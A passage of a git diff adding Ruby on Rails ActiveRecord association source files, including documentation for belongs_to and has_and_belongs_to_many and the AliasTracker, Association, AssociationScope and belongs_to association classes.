+        #   cache column by providing a column name instead of a +true+/+false+ value to this
+        #   option (e.g., <tt>counter_cache: :my_custom_counter</tt>.)
+        #   Note: Specifying a counter cache will add it to that model's list of readonly attributes
+        #   using +attr_readonly+.
+        # [:polymorphic]
+        #   Specify this association is a polymorphic association by passing +true+.
+        #   Note: If you've enabled the counter cache, then you may want to add the counter cache attribute
+        #   to the +attr_readonly+ list in the associated classes (e.g. <tt>class Post; attr_readonly :comments_count; end</tt>).
+        # [:validate]
+        #   When set to +true+, validates new objects added to association when saving the parent object. +false+ by default.
+        #   If you want to ensure associated objects are revalidated on every update, use +validates_associated+.
+        # [:autosave]
+        #   If true, always save the associated object or destroy it if marked for destruction, when
+        #   saving the parent object.
+        #   If false, never save or destroy the associated object.
+        #   By default, only save the associated object if it's a new record.
+        #
+        #   Note that NestedAttributes::ClassMethods#accepts_nested_attributes_for
+        #   sets <tt>:autosave</tt> to <tt>true</tt>.
+        # [:touch]
+        #   If true, the associated object will be touched (the updated_at/on attributes set to current time)
+        #   when this record is either saved or destroyed. If you specify a symbol, that attribute
+        #   will be updated with the current time in addition to the updated_at/on attribute.
+        #   Please note that with touching no validation is performed and only the +after_touch+,
+        #   +after_commit+ and +after_rollback+ callbacks are executed.
+        # [:inverse_of]
+        #   Specifies the name of the #has_one or #has_many association on the associated
+        #   object that is the inverse of this #belongs_to association. Does not work in
+        #   combination with the <tt>:polymorphic</tt> options.
+        #   See ActiveRecord::Associations::ClassMethods's overview on Bi-directional associations for more detail.
+        # [:optional]
+        #   When set to +true+, the association will not have its presence validated.
+        # [:required]
+        #   When set to +true+, the association will also have its presence validated.
+        #   This will validate the association itself, not the id. You can use
+        #   +:inverse_of+ to avoid an extra query during validation.
+        #   NOTE: <tt>required</tt> is set to <tt>true</tt> by default and is deprecated. If
+        #   you don't want to have association presence validated, use <tt>optional: true</tt>.
+        # [:default]
+        #   Provide a callable (i.e. proc or lambda) to specify that the association should
+        #   be initialized with a particular record before validation.
+        #
+        # Option examples:
+        #   belongs_to :firm, foreign_key: "client_of"
+        #   belongs_to :person, primary_key: "name", foreign_key: "person_name"
+        #   belongs_to :author, class_name: "Person", foreign_key: "author_id"
+        #   belongs_to :valid_coupon, ->(o) { where "discounts > ?", o.payments_count },
+        #                             class_name: "Coupon", foreign_key: "coupon_id"
+        #   belongs_to :attachable, polymorphic: true
+        #   belongs_to :project, -> { readonly }
+        #   belongs_to :post, counter_cache: true
+        #   belongs_to :comment, touch: true
+        #   belongs_to :company, touch: :employees_last_updated_at
+        #   belongs_to :user, optional: true
+        #   belongs_to :account, default: -> { company.account }
+        def belongs_to(name, scope = nil, options = {})
+          reflection = Builder::BelongsTo.build(self, name, scope, options)
+          Reflection.add_reflection self, name, reflection
+        end
+
+        # Specifies a many-to-many relationship with another class. This associates two classes via an
+        # intermediate join table. Unless the join table is explicitly specified as an option, it is
+        # guessed using the lexical order of the class names. So a join between Developer and Project
+        # will give the default join table name of "developers_projects" because "D" precedes "P" alphabetically.
+        # Note that this precedence is calculated using the <tt><</tt> operator for String. This
+        # means that if the strings are of different lengths, and the strings are equal when compared
+        # up to the shortest length, then the longer string is considered of higher
+        # lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers"
+        # to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes",
+        # but it in fact generates a join table name of "paper_boxes_papers". Be aware of this caveat, and use the
+        # custom <tt>:join_table</tt> option if you need to.
+        # If your tables share a common prefix, it will only appear once at the beginning. For example,
+        # the tables "catalog_categories" and "catalog_products" generate a join table name of "catalog_categories_products".
+        #
+        # The join table should not have a primary key or a model associated with it. You must manually generate the
+        # join table with a migration such as this:
+        #
+        #   class CreateDevelopersProjectsJoinTable < ActiveRecord::Migration[5.0]
+        #     def change
+        #       create_join_table :developers, :projects
+        #     end
+        #   end
+        #
+        # It's also a good idea to add indexes to each of those columns to speed up the joins process.
+        # However, in MySQL it is advised to add a compound index for both of the columns as MySQL only
+        # uses one index per table during the lookup.
+        #
+        # Adds the following methods for retrieval and query:
+        #
+        # +collection+ is a placeholder for the symbol passed as the +name+ argument, so
+        # <tt>has_and_belongs_to_many :categories</tt> would add among others <tt>categories.empty?</tt>.
+        #
+        # [collection]
+        #   Returns an array of all the associated objects.
+        #   An empty array is returned if none are found.
+        # [collection<<(object, ...)]
+        #   Adds one or more objects to the collection by creating associations in the join table
+        #   (<tt>collection.push</tt> and <tt>collection.concat</tt> are aliases to this method).
+        #   Note that this operation instantly fires update SQL without waiting for the save or update call on the
+        #   parent object, unless the parent object is a new record.
+        # [collection.delete(object, ...)]
+        #   Removes one or more objects from the collection by removing their associations from the join table.
+        #   This does not destroy the objects.
+        # [collection.destroy(object, ...)]
+        #   Removes one or more objects from the collection by running destroy on each association in the join table, overriding any dependent option.
+        #   This does not destroy the objects.
+        # [collection=objects]
+        #   Replaces the collection's content by deleting and adding objects as appropriate.
+        # [collection_singular_ids]
+        #   Returns an array of the associated objects' ids.
+        # [collection_singular_ids=ids]
+        #   Replace the collection by the objects identified by the primary keys in +ids+.
+        # [collection.clear]
+        #   Removes every object from the collection. This does not destroy the objects.
+        # [collection.empty?]
+        #   Returns +true+ if there are no associated objects.
+        # [collection.size]
+        #   Returns the number of associated objects.
+        # [collection.find(id)]
+        #   Finds an associated object responding to the +id+ and that
+        #   meets the condition that it has to be associated with this object.
+        #   Uses the same rules as ActiveRecord::FinderMethods#find.
+        # [collection.exists?(...)]
+        #   Checks whether an associated object with the given conditions exists.
+        #   Uses the same rules as ActiveRecord::FinderMethods#exists?.
+        # [collection.build(attributes = {})]
+        #   Returns a new object of the collection type that has been instantiated
+        #   with +attributes+ and linked to this object through the join table, but has not yet been saved.
+        # [collection.create(attributes = {})]
+        #   Returns a new object of the collection type that has been instantiated
+        #   with +attributes+, linked to this object through the join table, and that has already been
+        #   saved (if it passed the validation).
+        #
+        # === Example
+        #
+        # A Developer class declares <tt>has_and_belongs_to_many :projects</tt>, which will add:
+        # * <tt>Developer#projects</tt>
+        # * <tt>Developer#projects<<</tt>
+        # * <tt>Developer#projects.delete</tt>
+        # * <tt>Developer#projects.destroy</tt>
+        # * <tt>Developer#projects=</tt>
+        # * <tt>Developer#project_ids</tt>
+        # * <tt>Developer#project_ids=</tt>
+        # * <tt>Developer#projects.clear</tt>
+        # * <tt>Developer#projects.empty?</tt>
+        # * <tt>Developer#projects.size</tt>
+        # * <tt>Developer#projects.find(id)</tt>
+        # * <tt>Developer#projects.exists?(...)</tt>
+        # * <tt>Developer#projects.build</tt> (similar to <tt>Project.new("developer_id" => id)</tt>)
+        # * <tt>Developer#projects.create</tt> (similar to <tt>c = Project.new("developer_id" => id); c.save; c</tt>)
+        # The declaration may include an +options+ hash to specialize the behavior of the association.
+        #
+        # === Scopes
+        #
+        # You can pass a second argument +scope+ as a callable (i.e. proc or
+        # lambda) to retrieve a specific set of records or customize the generated
+        # query when you access the associated collection.
+        #
+        # Scope examples:
+        #   has_and_belongs_to_many :projects, -> { includes(:milestones, :manager) }
+        #   has_and_belongs_to_many :categories, ->(post) {
+        #     where("default_category = ?", post.default_category)
+        #
+        # === Extensions
+        #
+        # The +extension+ argument allows you to pass a block into a
+        # has_and_belongs_to_many association. This is useful for adding new
+        # finders, creators and other factory-type methods to be used as part of
+        # the association.
+        #
+        # Extension examples:
+        #   has_and_belongs_to_many :contractors do
+        #     def find_or_create_by_name(name)
+        #       first_name, last_name = name.split(" ", 2)
+        #       find_or_create_by(first_name: first_name, last_name: last_name)
+        #     end
+        #   end
+        #
+        # === Options
+        #
+        # [:class_name]
+        #   Specify the class name of the association. Use it only if that name can't be inferred
+        #   from the association name. So <tt>has_and_belongs_to_many :projects</tt> will by default be linked to the
+        #   Project class, but if the real class name is SuperProject, you'll have to specify it with this option.
+        # [:join_table]
+        #   Specify the name of the join table if the default based on lexical order isn't what you want.
+        #   <b>WARNING:</b> If you're overwriting the table name of either class, the +table_name+ method
+        #   MUST be declared underneath any #has_and_belongs_to_many declaration in order to work.
+        # [:foreign_key]
+        #   Specify the foreign key used for the association. By default this is guessed to be the name
+        #   of this class in lower-case and "_id" suffixed. So a Person class that makes
+        #   a #has_and_belongs_to_many association to Project will use "person_id" as the
+        #   default <tt>:foreign_key</tt>.
+        # [:association_foreign_key]
+        #   Specify the foreign key used for the association on the receiving side of the association.
+        #   By default this is guessed to be the name of the associated class in lower-case and "_id" suffixed.
+        #   So if a Person class makes a #has_and_belongs_to_many association to Project,
+        #   the association will use "project_id" as the default <tt>:association_foreign_key</tt>.
+        # [:validate]
+        #   When set to +true+, validates new objects added to association when saving the parent object. +true+ by default.
+        #   If you want to ensure associated objects are revalidated on every update, use +validates_associated+.
+        # [:autosave]
+        #   If true, always save the associated objects or destroy them if marked for destruction, when
+        #   saving the parent object.
+        #   If false, never save or destroy the associated objects.
+        #   By default, only save associated objects that are new records.
+        #
+        #   Note that NestedAttributes::ClassMethods#accepts_nested_attributes_for sets
+        #   <tt>:autosave</tt> to <tt>true</tt>.
+        #
+        # Option examples:
+        #   has_and_belongs_to_many :projects
+        #   has_and_belongs_to_many :projects, -> { includes(:milestones, :manager) }
+        #   has_and_belongs_to_many :nations, class_name: "Country"
+        #   has_and_belongs_to_many :categories, join_table: "prods_cats"
+        #   has_and_belongs_to_many :categories, -> { readonly }
+        def has_and_belongs_to_many(name, scope = nil, **options, &extension)
+          habtm_reflection = ActiveRecord::Reflection::HasAndBelongsToManyReflection.new(name, scope, options, self)
+
+          builder = Builder::HasAndBelongsToMany.new name, self, options
+
+          join_model = ActiveSupport::Deprecation.silence { builder.through_model }
+
+          const_set join_model.name, join_model
+          private_constant join_model.name
+
+          middle_reflection = builder.middle_reflection join_model
+
+          Builder::HasMany.define_callbacks self, middle_reflection
+          Reflection.add_reflection self, middle_reflection.name, middle_reflection
+          middle_reflection.parent_reflection = habtm_reflection
+
+          include Module.new {
+            class_eval <<-RUBY, __FILE__, __LINE__ + 1
+              def destroy_associations
+                association(:#{middle_reflection.name}).delete_all(:delete_all)
+                association(:#{name}).reset
+                super
+              end
+            RUBY
+          }
+
+          hm_options = {}
+          hm_options[:through] = middle_reflection.name
+          hm_options[:source] = join_model.right_reflection.name
+
+          [:before_add, :after_add, :before_remove, :after_remove, :autosave, :validate, :join_table, :class_name, :extend].each do |k|
+            hm_options[k] = options[k] if options.key? k
+          end
+
+          ActiveSupport::Deprecation.silence { has_many name, scope, hm_options, &extension }
+          _reflections[name.to_s].parent_reflection = habtm_reflection
+        end
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/alias_tracker.rb b/activerecord/lib/active_record/associations/alias_tracker.rb
new file mode 100644
index 0000000000..096f016976
--- /dev/null
+++ b/activerecord/lib/active_record/associations/alias_tracker.rb
@@ -0,0 +1,94 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/string/conversions"
+
+module ActiveRecord
+  module Associations
+    # Keeps track of table aliases for ActiveRecord::Associations::JoinDependency
+    class AliasTracker # :nodoc:
+      def self.create(connection, initial_table)
+        aliases = Hash.new(0)
+        aliases[initial_table] = 1
+        new(connection, aliases)
+      end
+
+      def self.create_with_joins(connection, initial_table, joins)
+        if joins.empty?
+          create(connection, initial_table)
+        else
+          aliases = Hash.new { |h, k|
+            h[k] = initial_count_for(connection, k, joins)
+          }
+          aliases[initial_table] = 1
+          new(connection, aliases)
+        end
+      end
+
+      def self.initial_count_for(connection, name, table_joins)
+        # quoted_name should be downcased as some database adapters (Oracle) return quoted name in uppercase
+        quoted_name = connection.quote_table_name(name).downcase
+
+        counts = table_joins.map do |join|
+          if join.is_a?(Arel::Nodes::StringJoin)
+            # Table names + table aliases
+            join.left.downcase.scan(
+              /join(?:\s+\w+)?\s+(\S+\s+)?#{quoted_name}\son/
+            ).size
+          elsif join.respond_to? :left
+            join.left.table_name == name ? 1 : 0
+          else
+            # this branch is reached by two tests:
+            #
+            # activerecord/test/cases/associations/cascaded_eager_loading_test.rb:37
+            #   with :posts
+            #
+            # activerecord/test/cases/associations/eager_test.rb:1133
+            #   with :comments
+            #
+            0
+          end
+        end
+
+        counts.sum
+      end
+
+      # table_joins is an array of arel joins which might conflict with the aliases we assign here
+      def initialize(connection, aliases)
+        @aliases    = aliases
+        @connection = connection
+      end
+
+      def aliased_table_for(table_name, aliased_name, type_caster)
+        if aliases[table_name].zero?
+          # If it's zero, we can have our table_name
+          aliases[table_name] = 1
+          Arel::Table.new(table_name, type_caster: type_caster)
+        else
+          # Otherwise, we need to use an alias
+          aliased_name = @connection.table_alias_for(aliased_name)
+
+          # Update the count
+          aliases[aliased_name] += 1
+
+          table_alias = if aliases[aliased_name] > 1
+            "#{truncate(aliased_name)}_#{aliases[aliased_name]}"
+          else
+            aliased_name
+          end
+          Arel::Table.new(table_name, type_caster: type_caster).alias(table_alias)
+        end
+      end
+
+      # TODO Change this to private once we've dropped Ruby 2.2 support.
+      # Workaround for Ruby 2.2 "private attribute?" warning.
+      protected
+        attr_reader :aliases
+
+      private
+
+        def truncate(name)
+          name.slice(0, @connection.table_alias_length - 2)
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/association.rb b/activerecord/lib/active_record/associations/association.rb
new file mode 100644
index 0000000000..268b022ab8
--- /dev/null
+++ b/activerecord/lib/active_record/associations/association.rb
@@ -0,0 +1,284 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/array/wrap"
+
+module ActiveRecord
+  module Associations
+    # = Active Record Associations
+    #
+    # This is the root class of all associations ('+ Foo' signifies an included module Foo):
+    #
+    #   Association
+    #     SingularAssociation
+    #       HasOneAssociation + ForeignAssociation
+    #         HasOneThroughAssociation + ThroughAssociation
+    #       BelongsToAssociation
+    #         BelongsToPolymorphicAssociation
+    #     CollectionAssociation
+    #       HasManyAssociation + ForeignAssociation
+    #         HasManyThroughAssociation + ThroughAssociation
+    class Association #:nodoc:
+      attr_reader :owner, :target, :reflection
+      attr_accessor :inversed
+
+      delegate :options, to: :reflection
+
+      def initialize(owner, reflection)
+        reflection.check_validity!
+
+        @owner, @reflection = owner, reflection
+
+        reset
+        reset_scope
+      end
+
+      # Resets the \loaded flag to +false+ and sets the \target to +nil+.
+      def reset
+        @loaded = false
+        @target = nil
+        @stale_state = nil
+        @inversed = false
+      end
+
+      # Reloads the \target and returns +self+ on success.
+      def reload
+        reset
+        reset_scope
+        load_target
+        self unless target.nil?
+      end
+
+      # Has the \target been already \loaded?
+      def loaded?
+        @loaded
+      end
+
+      # Asserts the \target has been loaded setting the \loaded flag to +true+.
+      def loaded!
+        @loaded = true
+        @stale_state = stale_state
+        @inversed = false
+      end
+
+      # The target is stale if the target no longer points to the record(s) that the
+      # relevant foreign_key(s) refers to. If stale, the association accessor method
+      # on the owner will reload the target. It's up to subclasses to implement the
+      # stale_state method if relevant.
+      #
+      # Note that if the target has not been loaded, it is not considered stale.
+      def stale_target?
+        !inversed && loaded? && @stale_state != stale_state
+      end
+
+      # Sets the target of this association to <tt>\target</tt>, and the \loaded flag to +true+.
+      def target=(target)
+        @target = target
+        loaded!
+      end
+
+      def scope
+        target_scope.merge!(association_scope)
+      end
+
+      # The scope for this association.
+      #
+      # Note that the association_scope is merged into the target_scope only when the
+      # scope method is called. This is because at that point the call may be surrounded
+      # by scope.scoping { ... } or with_scope { ... } etc, which affects the scope which
+      # actually gets built.
+      def association_scope
+        if klass
+          @association_scope ||= AssociationScope.scope(self)
+        end
+      end
+
+      def reset_scope
+        @association_scope = nil
+      end
+
+      # Set the inverse association, if possible
+      def set_inverse_instance(record)
+        if invertible_for?(record)
+          inverse = record.association(inverse_reflection_for(record).name)
+          inverse.target = owner
+          inverse.inversed = true
+        end
+        record
+      end
+
+      # Remove the inverse association, if possible
+      def remove_inverse_instance(record)
+        if invertible_for?(record)
+          inverse = record.association(inverse_reflection_for(record).name)
+          inverse.target = nil
+          inverse.inversed = false
+        end
+      end
+
+      # Returns the class of the target. belongs_to polymorphic overrides this to look at the
+      # polymorphic_type field on the owner.
+      def klass
+        reflection.klass
+      end
+
+      # Can be overridden (i.e. in ThroughAssociation) to merge in other scopes (i.e. the
+      # through association's scope)
+      def target_scope
+        AssociationRelation.create(klass, klass.arel_table, klass.predicate_builder, self).merge!(klass.all)
+      end
+
+      def extensions
+        extensions = klass.default_extensions | reflection.extensions
+
+        if scope = reflection.scope
+          extensions |= klass.unscoped.instance_exec(owner, &scope).extensions
+        end
+
+        extensions
+      end
+
+      # Loads the \target if needed and returns it.
+      #
+      # This method is abstract in the sense that it relies on +find_target+,
+      # which is expected to be provided by descendants.
+      #
+      # If the \target is already \loaded it is just returned. Thus, you can call
+      # +load_target+ unconditionally to get the \target.
+      #
+      # ActiveRecord::RecordNotFound is rescued within the method, and it is
+      # not reraised. The proxy is \reset and +nil+ is the return value.
+      def load_target
+        @target = find_target if (@stale_state && stale_target?) || find_target?
+
+        loaded! unless loaded?
+        target
+      rescue ActiveRecord::RecordNotFound
+        reset
+      end
+
+      # We can't dump @reflection since it contains the scope proc
+      def marshal_dump
+        ivars = (instance_variables - [:@reflection]).map { |name| [name, instance_variable_get(name)] }
+        [@reflection.name, ivars]
+      end
+
+      def marshal_load(data)
+        reflection_name, ivars = data
+        ivars.each { |name, val| instance_variable_set(name, val) }
+        @reflection = @owner.class._reflect_on_association(reflection_name)
+      end
+
+      def initialize_attributes(record, except_from_scope_attributes = nil) #:nodoc:
+        except_from_scope_attributes ||= {}
+        skip_assign = [reflection.foreign_key, reflection.type].compact
+        assigned_keys = record.changed_attribute_names_to_save
+        assigned_keys += except_from_scope_attributes.keys.map(&:to_s)
+        attributes = scope_for_create.except!(*(assigned_keys - skip_assign))
+        record.send(:_assign_attributes, attributes) if attributes.any?
+        set_inverse_instance(record)
+      end
+
+      def create(attributes = {}, &block)
+        _create_record(attributes, &block)
+      end
+
+      def create!(attributes = {}, &block)
+        _create_record(attributes, true, &block)
+      end
+
+      private
+        def scope_for_create
+          scope.scope_for_create
+        end
+
+        def find_target?
+          !loaded? && (!owner.new_record? || foreign_key_present?) && klass
+        end
+
+        def creation_attributes
+          attributes = {}
+
+          if (reflection.has_one? || reflection.collection?) && !options[:through]
+            attributes[reflection.foreign_key] = owner[reflection.active_record_primary_key]
+
+            if reflection.options[:as]
+              attributes[reflection.type] = owner.class.base_class.name
+            end
+          end
+
+          attributes
+        end
+
+        # Sets the owner attributes on the given record
+        def set_owner_attributes(record)
+          creation_attributes.each { |key, value| record[key] = value }
+        end
+
+        # Returns true if there is a foreign key present on the owner which
+        # references the target. This is used to determine whether we can load
+        # the target if the owner is currently a new record (and therefore
+        # without a key). If the owner is a new record then foreign_key must
+        # be present in order to load target.
+        #
+        # Currently implemented by belongs_to (vanilla and polymorphic) and
+        # has_one/has_many :through associations which go through a belongs_to.
+        def foreign_key_present?
+          false
+        end
+
+        # Raises ActiveRecord::AssociationTypeMismatch unless +record+ is of
+        # the kind of the class of the associated objects. Meant to be used as
+        # a sanity check when you are about to assign an associated record.
+        def raise_on_type_mismatch!(record)
+          unless record.is_a?(reflection.klass)
+            fresh_class = reflection.class_name.safe_constantize
+            unless fresh_class && record.is_a?(fresh_class)
+              message = "#{reflection.class_name}(##{reflection.klass.object_id}) expected, "\
+                "got #{record.inspect} which is an instance of #{record.class}(##{record.class.object_id})"
+              raise ActiveRecord::AssociationTypeMismatch, message
+            end
+          end
+        end
+
+        # Can be redefined by subclasses, notably polymorphic belongs_to
+        # The record parameter is necessary to support polymorphic inverses as we must check for
+        # the association in the specific class of the record.
+        def inverse_reflection_for(record)
+          reflection.inverse_of
+        end
+
+        # Returns true if inverse association on the given record needs to be set.
+        # This method is redefined by subclasses.
+        def invertible_for?(record)
+          foreign_key_for?(record) && inverse_reflection_for(record)
+        end
+
+        # Returns true if record contains the foreign_key
+        def foreign_key_for?(record)
+          record.has_attribute?(reflection.foreign_key)
+        end
+
+        # This should be implemented to return the values of the relevant key(s) on the owner,
+        # so that when stale_state is different from the value stored on the last find_target,
+        # the target is stale.
+        #
+        # This is only relevant to certain associations, which is why it returns +nil+ by default.
+        def stale_state
+        end
+
+        def build_record(attributes)
+          reflection.build_association(attributes) do |record|
+            initialize_attributes(record, attributes)
+          end
+        end
+
+        # Returns true if statement cache should be skipped on the association reader.
+        def skip_statement_cache?(scope)
+          reflection.has_scope? ||
+            scope.eager_loading? ||
+            klass.scope_attributes? ||
+            reflection.source_reflection.active_record.default_scopes.any?
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/association_scope.rb b/activerecord/lib/active_record/associations/association_scope.rb
new file mode 100644
index 0000000000..9b0b50977d
--- /dev/null
+++ b/activerecord/lib/active_record/associations/association_scope.rb
@@ -0,0 +1,173 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Associations
+    class AssociationScope #:nodoc:
+      def self.scope(association)
+        INSTANCE.scope(association)
+      end
+
+      def self.create(&block)
+        block ||= lambda { |val| val }
+        new(block)
+      end
+
+      def initialize(value_transformation)
+        @value_transformation = value_transformation
+      end
+
+      INSTANCE = create
+
+      def scope(association)
+        klass = association.klass
+        reflection = association.reflection
+        scope = klass.unscoped
+        owner = association.owner
+        alias_tracker = AliasTracker.create(klass.connection, klass.table_name)
+        chain_head, chain_tail = get_chain(reflection, association, alias_tracker)
+
+        scope.extending! reflection.extensions
+        add_constraints(scope, owner, reflection, chain_head, chain_tail)
+      end
+
+      def join_type
+        Arel::Nodes::InnerJoin
+      end
+
+      def self.get_bind_values(owner, chain)
+        binds = []
+        last_reflection = chain.last
+
+        binds << last_reflection.join_id_for(owner)
+        if last_reflection.type
+          binds << owner.class.base_class.name
+        end
+
+        chain.each_cons(2).each do |reflection, next_reflection|
+          if reflection.type
+            binds << next_reflection.klass.base_class.name
+          end
+        end
+        binds
+      end
+
+      # TODO Change this to private once we've dropped Ruby 2.2 support.
+      # Workaround for Ruby 2.2 "private attribute?" warning.
+      protected
+
+        attr_reader :value_transformation
+
+      private
+        def join(table, constraint)
+          table.create_join(table, table.create_on(constraint), join_type)
+        end
+
+        def last_chain_scope(scope, table, reflection, owner)
+          join_keys = reflection.join_keys
+          key = join_keys.key
+          foreign_key = join_keys.foreign_key
+
+          value = transform_value(owner[foreign_key])
+          scope = scope.where(table.name => { key => value })
+
+          if reflection.type
+            polymorphic_type = transform_value(owner.class.base_class.name)
+            scope = scope.where(table.name => { reflection.type => polymorphic_type })
+          end
+
+          scope
+        end
+
+        def transform_value(value)
+          value_transformation.call(value)
+        end
+
+        def next_chain_scope(scope, table, reflection, foreign_table, next_reflection)
+          join_keys = reflection.join_keys
+          key = join_keys.key
+          foreign_key = join_keys.foreign_key
+
+          constraint = table[key].eq(foreign_table[foreign_key])
+
+          if reflection.type
+            value = transform_value(next_reflection.klass.base_class.name)
+            scope = scope.where(table.name => { reflection.type => value })
+          end
+
+          scope = scope.joins(join(foreign_table, constraint))
+        end
+
+        class ReflectionProxy < SimpleDelegator # :nodoc:
+          attr_accessor :next
+          attr_reader :alias_name
+
+          def initialize(reflection, alias_name)
+            super(reflection)
+            @alias_name = alias_name
+          end
+
+          def all_includes; nil; end
+        end
+
+        def get_chain(reflection, association, tracker)
+          name = reflection.name
+          runtime_reflection = Reflection::RuntimeReflection.new(reflection, association)
+          previous_reflection = runtime_reflection
+          reflection.chain.drop(1).each do |refl|
+            alias_name = tracker.aliased_table_for(
+              refl.table_name,
+              refl.alias_candidate(name),
+              refl.klass.type_caster
+            )
+            proxy = ReflectionProxy.new(refl, alias_name)
+            previous_reflection.next = proxy
+            previous_reflection = proxy
+          end
+          [runtime_reflection, previous_reflection]
+        end
+
+        def add_constraints(scope, owner, refl, chain_head, chain_tail)
+          owner_reflection = chain_tail
+          table = owner_reflection.alias_name
+          scope = last_chain_scope(scope, table, owner_reflection, owner)
+
+          reflection = chain_head
+          while reflection
+            table = reflection.alias_name
+            next_reflection = reflection.next
+
+            unless reflection == chain_tail
+              foreign_table = next_reflection.alias_name
+              scope = next_chain_scope(scope, table, reflection, foreign_table, next_reflection)
+            end
+
+            # Exclude the scope of the association itself, because that
+            # was already merged in the #scope method.
+            reflection.constraints.each do |scope_chain_item|
+              item = eval_scope(reflection, table, scope_chain_item, owner)
+
+              if scope_chain_item == refl.scope
+                scope.merge! item.except(:where, :includes)
+              end
+
+              reflection.all_includes do
+                scope.includes! item.includes_values
+              end
+
+              scope.unscope!(*item.unscope_values)
+              scope.where_clause += item.where_clause
+              scope.order_values |= item.order_values
+            end
+
+            reflection = next_reflection
+          end
+
+          scope
+        end
+
+        def eval_scope(reflection, table, scope, owner)
+          reflection.build_scope(table).instance_exec(owner, &scope)
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/belongs_to_association.rb b/activerecord/lib/active_record/associations/belongs_to_association.rb
new file mode 100644
index 0000000000..7a9f5f7937
--- /dev/null
+++ b/activerecord/lib/active_record/associations/belongs_to_association.rb
@@ -0,0 +1,113 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  # = Active Record Belongs To Association
+  module Associations
+    class BelongsToAssociation < SingularAssociation #:nodoc:
+      def handle_dependency
+        target.send(options[:dependent]) if load_target
+      end
+
+      def replace(record)
+        if record
+          raise_on_type_mismatch!(record)
+          update_counters_on_replace(record)
+          replace_keys(record)
+          set_inverse_instance(record)
+          @updated = true
+        else
+          decrement_counters
+          remove_keys
+        end
+
+        self.target = record
+      end
+
+      def default(&block)
+        writer(owner.instance_exec(&block)) if reader.nil?
+      end
+
+      def reset
+        super
+        @updated = false
+      end
+
+      def updated?
+        @updated
+      end
+
+      def decrement_counters # :nodoc:
+        update_counters(-1)
+      end
+
+      def increment_counters # :nodoc:
+        update_counters(1)
+      end
+
+      private
+
+        def update_counters(by)
+          if require_counter_update? && foreign_key_present?
+            if target && !stale_target?
+              target.increment!(reflection.counter_cache_column, by)
+            else
+              klass.update_counters(target_id, reflection.counter_cache_column => by)
+            end
+          end
+        end
+
+        def find_target?
+          !loaded? && foreign_key_present? && klass
+        end
+
+        def require_counter_update?
+          reflection.counter_cache_column && owner.persisted?
+        end
+
+        def update_counters_on_replace(record)
+          if require_counter_update? && different_target?(record)
+            owner.instance_variable_set :@_after_replace_counter_called, true
+            record.increment!(reflection.counter_cache_column)
+            decrement_counters
+          end
+        end
+
+        # Checks whether record is different to the current target, without loading it
+        def different_target?(record)
+          record.id != owner._read_attribute(reflection.foreign_key)
+        end
+
+        def replace_keys(record)
+          owner[reflection.foreign_key] = record._read_attribute(reflection.association_primary_key(record.class))
+        end
+
+        def remove_keys
+          owner[reflection.foreign_key] = nil
+        end
+
+        def foreign_key_present?
+          owner._read_attribute(reflection.foreign_key)
+        end
+
+        # NOTE - for now, we're only supporting inverse setting from belongs_to back onto
+        # has_one associations.
+        def invertible_for?(record)
+          inverse = inverse_reflection_for(record)
+          inverse && inverse.has_one?
+        end
+
+        def target_id
+          if options[:primary_key]
+            owner.send(reflection.name).try(:id)
+          else
+            owner._read_attribute(reflection.foreign_key)
+          end
+        end
+
+        def stale_state
+          result = owner._read_attribute(reflection.foreign_key) { |n| owner.send(:missing_attribute, n, caller) }
+          result && result.to_s
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb b/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
new file mode 100644
index 0000000000..13b4a084ea
--- /dev/null
+++ b/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  # = Active Record Belongs To Polymorphic Association
+  module Associations
+    class BelongsToPolymorphicAssociation < BelongsToAssociation #:nodoc:
+      def klass
+        type = owner[reflection.foreign_type]
+        type.presence && type.constantize
+      end
+
+      private
+
+        def replace_keys(record)
+          super
+          owner[reflection.foreign_type] = record.class.base_class.name
+        end
+
+        def remove_keys
+          super
+          owner[reflection.foreign_type] = nil
+        end
+
+        def different_target?(record)
+          super || record.class != klass
+        end
+
+        def inverse_reflection_for(record)
+          reflection.polymorphic_inverse_of(record.class)
+        end
+
+        def raise_on_type_mismatch!(record)
+          # A polymorphic association cannot have a type mismatch, by definition
+        end
+
+        def stale_state
+          foreign_key = super
+          foreign_key && [foreign_key.to_s, owner[reflection.foreign_type].to_s]
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/builder/association.rb b/activerecord/lib/active_record/associations/builder/association.rb
new file mode 100644
index 0000000000..496b16b58f
--- /dev/null
+++ b/activerecord/lib/active_record/associations/builder/association.rb
@@ -0,0 +1,145 @@
+# frozen_string_literal: true
+
+# This is the parent Association class which defines the variables
+# used by all associations.
+#
+# The hierarchy is defined as follows:
+#  Association
+#    - SingularAssociation
+#      - BelongsToAssociation
+#      - HasOneAssociation
+#    - CollectionAssociation
+#      - HasManyAssociation
+
+module ActiveRecord::Associations::Builder # :nodoc:
+  class Association #:nodoc:
+    class << self
+      attr_accessor :extensions
+    end
+    self.extensions = []
+
+    VALID_OPTIONS = [:class_name, :anonymous_class, :foreign_key, :validate] # :nodoc:
+
+    def self.build(model, name, scope, options, &block)
+      if model.dangerous_attribute_method?(name)
+        raise ArgumentError, "You tried to define an association named #{name} on the model #{model.name}, but " \
+                             "this will conflict with a method #{name} already defined by Active Record. " \
+                             "Please choose a different association name."
+      end
+
+      extension = define_extensions model, name, &block
+      reflection = create_reflection model, name, scope, options, extension
+      define_accessors model, reflection
+      define_callbacks model, reflection
+      define_validations model, reflection
+      reflection
+    end
+
+    def self.create_reflection(model, name, scope, options, extension = nil)
+      raise ArgumentError, "association names must be a Symbol" unless name.kind_of?(Symbol)
+
+      if scope.is_a?(Hash)
+        options = scope
+        scope   = nil
+      end
+
+      validate_options(options)
+
+      scope = build_scope(scope, extension)
+
